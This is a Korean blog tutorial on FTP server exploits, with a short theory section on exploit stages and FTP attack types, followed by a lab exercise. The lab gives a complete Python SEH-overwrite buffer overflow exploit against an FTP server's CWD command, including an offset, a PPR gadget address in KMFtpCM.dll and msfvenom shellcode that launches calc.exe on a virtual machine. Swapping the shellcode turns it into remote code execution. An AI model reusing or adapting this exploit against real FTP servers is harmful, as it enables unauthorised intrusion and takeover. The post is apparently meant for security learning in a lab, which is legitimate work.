FTP 서버 익스플로잇[FTP Server Exploit]
python

FTP 서버 익스플로잇[FTP Server Exploit]

연구소 인턴 2023. 8. 3.
300x250
반응형

<이론>

익스플로잇(Exploit)은 컴퓨터 시스템, 소프트웨어, 네트워크 등의 보안 취약점을 이용하여 시스템을 공격하고, 악의적인 목적을 달성하기 위한 코드나 기술을 말합니다. 즉, 보안 취약점을 악용하여 시스템에 침투하거나, 불법적인 작업을 수행하기 위한 프로그램이나 코드를 의미합니다.

보안 취약점은 컴퓨터 시스템과 소프트웨어 개발 과정에서 발생하는 실수나 설계상의 결함으로 인해 생길 수 있습니다. 이러한 취약점을 이용하면 해커나 악의적인 공격자들이 시스템에 침투하거나, 권한을 획득하여 시스템을 조작하거나 중요한 정보를 탈취하는 등의 악의적인 행위를 할 수 있습니다.

보안 취약점을 악용하는 익스플로잇은 주로 다음과 같은 과정으로 진행됩니다:

보안 취약점 찾기: 공격자는 시스템에서 취약점을 찾는데 다양한 기법과 도구를 사용합니다. 이는 보통 보안 연구자, 해커, 레드팀 등이 보안 취약점을 찾기 위해 노력하는 단계입니다.

익스플로잇 개발: 취약점을 찾은 후, 공격자는 해당 취약점을 이용하여 악성 코드를 작성하거나 이미 존재하는 익스플로잇 코드를 활용합니다.

시스템 침투: 개발한 익스플로잇을 사용하여 취약한 시스템에 접근합니다. 이를 통해 공격자는 시스템 제어를 획득하고 원하는 작업을 수행할 수 있습니다.


FTP 서버 익스플로잇(Exploit)은 보안 취약점을 악용하여 FTP(파일 전송 프로토콜) 서버를 공격하는 기술을 말합니다. 이를 통해 공격자는 무단으로 FTP 서버에 접근하거나, 파일을 업로드하거나 삭제하는 등의 악의적인 작업을 수행할 수 있습니다. 아래는 일반적인 FTP 서버 익스플로잇 기법에 대한 간략한 설명입니다.

1. Anonymous FTP 익스플로잇:
FTP 서버는 익명 사용자로 접속할 수 있는 경우가 있습니다. 이때, 익명 사용자는 아이디나 패스워드를 입력하지 않고 접속할 수 있습니다. 공격자는 익명 FTP 접속 가능한 서버를 찾아내어 해당 서버의 보안 취약점을 이용하여 무단으로 접근하거나 파일을 업로드, 삭제할 수 있습니다.

2. Buffer Overflow:
FTP 서버 소프트웨어는 버퍼 오버플로우와 같은 보안 취약점을 가질 수 있습니다. 공격자는 입력 가능한 필드에 대해 오버플로우를 유발하여 제어권을 획득하고 악성 코드를 실행할 수 있습니다.

3. 명령어 삽입 (Command Injection):
FTP 서버에서 명령어 삽입 취약점이 존재하는 경우, 공격자는 악의적인 명령어를 삽입하여 서버를 조작할 수 있습니다.

4. 디렉토리 트래버설 (Directory Traversal):
FTP 서버에서 디렉토리 트래버설 취약점이 있는 경우, 공격자는 서버 파일 시스템의 루트 디렉토리 이상으로 접근할 수 있습니다. 이를 통해 민감한 파일에 접근하거나 실행 가능한 파일을 찾아 실행할 수 있습니다.

5. 암호화 미사용 (FTP 서버에 대한 암호화 제공하지 않음):
FTP 서버가 암호화를 지원하지 않는 경우, 네트워크 상에서 데이터가 평문으로 전송되므로 공격자는 데이터를 감청하여 중요 정보를 얻을 수 있습니다.

<실습>

실습 환경 : Windows10(가상환경) / Windows10(운영체제) / python 2.7

실제 bufferoverflow 공격을 통해서 악의 적인 공격을 할 수 있지만,

본 쓰니는 계산기를 실행시키는 것으로 대체하겠습니다.

※이것을 활용하여 악의적인 행동을 할 경우 모두 본인의 책임에 있습니다.※

소스 코드는 아래와 같습니다.

#! python 2.7

## calc.exe execution
# shellcode
# msfvenom - kalilinux - Metasploit
# 아래는 계산기에 대한 buffer입니다.
buf =  ""
buf += "\x90" * 20
buf += "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\x58\x49"
buf += "\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54"
buf += "\x55\x74\x6c\x34\x66\x38\x65\x63\x6b\x79\x6c\x71\x34"
buf += "\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f"
buf += "\x54\x43\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34"
buf += "\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x35\x6c\x52\x32"
buf += "\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70"
buf += "\x4d\x43\x32\x62\x54\x31\x4c\x37\x56\x43\x76\x50\x6d"
buf += "\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d"
buf += "\x79\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61"
buf += "\x39\x30\x39\x4e\x36\x6e\x48\x58\x73\x5a\x37\x63\x50"
buf += "\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c"
buf += "\x52\x6d\x38\x33\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a"
buf += "\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x6a\x57"
buf += "\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47"
buf += "\x62\x43\x6e\x72\x4d\x6a\x36\x77\x6f\x75\x78\x45\x56"
buf += "\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56"
buf += "\x67\x54\x6f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44"
buf += "\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x35\x54\x77\x31"
buf += "\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71"
buf += "\x42\x45\x6f\x5a\x4f\x6d\x69\x46\x4c\x30\x65\x69\x4c"
buf += "\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b"
buf += "\x65\x4d\x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a"
buf += "\x4b\x62\x58\x49\x46\x73\x39\x4c\x6f\x39\x71\x50\x4f"
buf += "\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f"
buf += "\x4b\x39\x4b\x33\x44\x4a\x4b\x58\x31\x4e\x61\x32\x32"
buf += "\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x66\x6f"
buf += "\x4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72"
buf += "\x73\x47\x6d\x4f\x4b\x58\x34\x6d\x50\x32\x6e\x62\x76"
buf += "\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b"
buf += "\x6e\x6d\x77\x6d\x78\x52\x4f\x6f\x71\x34\x49\x4d\x71"
buf += "\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x67\x4d\x6c"
buf += "\x6c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54"
buf += "\x66\x49\x31\x4b\x76\x4d\x43\x4c\x6b\x56\x68\x42\x4d"
buf += "\x76\x74\x33\x79\x76\x35\x41\x41"

# 저번과 동일하게 FTP를 활용하기 때문에 import를 해줍니다.
import struct, socket
from ftplib import FTP

offset = 1037
sehNext = struct.pack('<L', 0x90900BEB) # Short jump 0B
sehHandler = struct.pack('<L', 0x12206d9d) # PPR - KMFtpCM.dll

payload = "CWD "
payload += "A" * offset
payload += sehNext
payload += sehHandler
payload += buf # shellcode
payload += "B" * (4500-len(buf))

ftp = FTP("가상환경의 IP주소")
print(ftp.login())
ftp.retrlines(payload)

위에 buf는 kali의 metasploit을 활용하여 얻어낸 쉘코드입니다.

저번과 동일하게 가상환경에서는 FTP를 이용할 예정입니다.

가상환경의 IP주소를 확인합니다.

운영체제에서 소스코드를 실행시킵니다.

정상적으로 계산기가 나오는 것을 알 수 있습니다.

버퍼에 대한 개념은 사진처럼 볼 수 있습니다.

시작점이 ESP라고 부릅니다.

 

300x250
반응형

댓글